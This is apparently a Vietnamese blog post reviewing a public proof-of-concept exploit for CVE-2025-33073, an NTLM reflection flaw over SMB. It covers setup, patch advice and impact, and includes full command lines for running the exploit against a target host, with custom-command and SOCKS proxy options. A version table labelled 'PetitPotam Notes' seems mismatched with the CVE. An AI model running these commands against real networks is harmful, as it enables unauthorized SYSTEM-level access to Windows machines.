Bài viết này đi sâu vào repository PoC của CVE-2025-33073, một lỗ hổng nghiêm trọng liên quan đến NTLM reflection qua giao thức SMB. Mục tiêu: giải mã cách thức hoạt động, môi trường thực thi, cách sử dụng PoC và tác động bảo mật.
1. Giới thiệu và bối cảnh
- Repository mverschu/CVE-2025-33073 chứa một proof‑of‑concept (PoC) exploit cho lỗ hổng NTLM reflection qua SMB.
- PoC này được phát triển dựa trên nghiên cứu từ Synacktiv – “NTLM reflection is dead…”.
Lỗ hổng cho phép kẻ tấn công lợi dụng cơ chế NTLM reflection để thực thi chứng thực trái phép đến máy nạn nhân thông qua SMB, từ đó leo thang quyền và thực hiện hành vi trái phép.
2. Môi trường cần thiết
Theo README:
- Hệ điều hành: Kali Linux (đã tích hợp sẵn phần lớn công cụ).
- Công cụ phụ trợ bao gồm:
- NetExec (NXC)
- impacket‑ntlmrelayx
- dnstool.py (đã được đóng gói sẵn)
- xterm (dùng cho GUI).
3. Cách sử dụng PoC
3.1 Chế độ GUI
python3 CVE-2025-33073.py \
-u 'wintastic.local\mathijs' \
-p 'password' \
--attacker-ip 192.168.178.49 \
--dns-ip 192.168.178.138 \
--dc-fqdn DC01.wintastic.local \
--target CLIENT01.wintastic.local \
--target-ip 192.168.178.65
3.2 Chế độ CLI không GUI
python3 CVE-2025-33073.py \
-u 'wintastic.local\mathijs' \
-p 'password' \
--attacker-ip 192.168.178.49 \
--dns-ip 192.168.178.138 \
--dc-fqdn DC01.wintastic.local \
--target CLIENT01.wintastic.local \
--target-ip 192.168.178.65 \
--cli-only
3.3 Chạy lệnh tuỳ chỉnh
--custom-command "whoami"
3.4 Tạo SOCKS proxy
--cli-only --socks
Hoặc kết hợp với proxychains nxc smb ... -x 'whoami' --exec-method smbexec.
4. Phân tích bảng hệ điều hành
README có bảng liệt kê trạng thái lỗ hổng trên các phiên bản Windows. Dưới đây là bảng chuyển về HTML:
| OS / Version | PetitPotam Notes |
|---|---|
| Windows 11 (22H2, 23H2, 24H2) | ❌ No – Mitigated by default; MS‑EFSRPC hardened and NTLM use restricted. |
| Windows Server 2025 (Preview) | ❌ No – Latest builds have coercion blocked by default. |
| Windows Server 2022 | ❌ No – Patched before release; MS‑EFSRPC mitigated by default. |
| Windows Server 2019 | ✅ Yes – Still works unless fully patched and NTLM restrictions configured. |
| Windows Server 2016 | ✅ Yes – MS‑EFSRPC interface still usable; NTLM allowed by default. |
| Windows Server 2012 R2 | ✅ Yes – Coercion works out of the box; needs manual hardening. |
| Windows Server 2008 R2 | ✅ Yes – Fully vulnerable if unpatched; no default mitigations in place. |
| Windows 10 (up to 21H2) | ✅ Yes – Vulnerable unless patched; EFSRPC coercion works if NTLM is enabled. |
Giải nghĩa các cột chính:
- ❌: hiện không còn dễ bị tấn công do đã mạnh mẽ giới hạn hoặc vá lỗi.
- ✅: có khả năng bị khai thác nếu chưa được khắc phục hoặc cấu hình NTLM chưa hạn chế.
5. Phương pháp khắc phục
- Microsoft đã phát hành bản vá trong June Patch Tuesday – khuyến nghị cập nhật ngay lập tức.
- Hướng dẫn chi tiết tại MSRC: CVE‑2025‑33073.
6. Tóm tắt tác động bảo mật
- Đây là lỗ hổng nghiêm trọng, cho phép coercion NTLM qua SMB, thực thi quyền SYSTEM.
- Phạm vi ảnh hưởng rộng, từ SMB client đến Domain Controller, tùy cách cấu hình.
- Bản PoC tận dụng thiết lập DNS giả mạo để chuyển hướng phản chiếu NTLM của target về attacker.
7. Đánh giá chung
- PoC rõ ràng, dễ triển khai, hỗ trợ GUI và CLI, tương thích nhiều phiên bản Windows.
- Có đầy đủ ví dụ sử dụng: từ secretsdump đến SOCKS proxy hoặc tùy lệnh.
- Tuy nhiên, PoC chưa tối ưu về bypass AV/EDR – nên sử dụng trong môi trường kiểm thử hoặc điều khiển.
- Chứng tỏ tầm quan trọng của việc cấu hình NTLM restrictions và vá nóng sớm.
8. Kết luận
- CVE‑2025‑33073 là lỗ hổng nghiêm trọng liên quan đến NTLM reflection qua SMB.
- PoC từ mverschu rất trực quan, đầy đủ, hỗ trợ nghiên cứu và kiểm thử.
- Các tổ chức cần kiểm tra, vá update, đồng thời tinh chỉnh chính sách NTLM và MS‑EFSRPC để giảm thiểu rủi ro.
Source link: mverschu/CVE-2025-33073






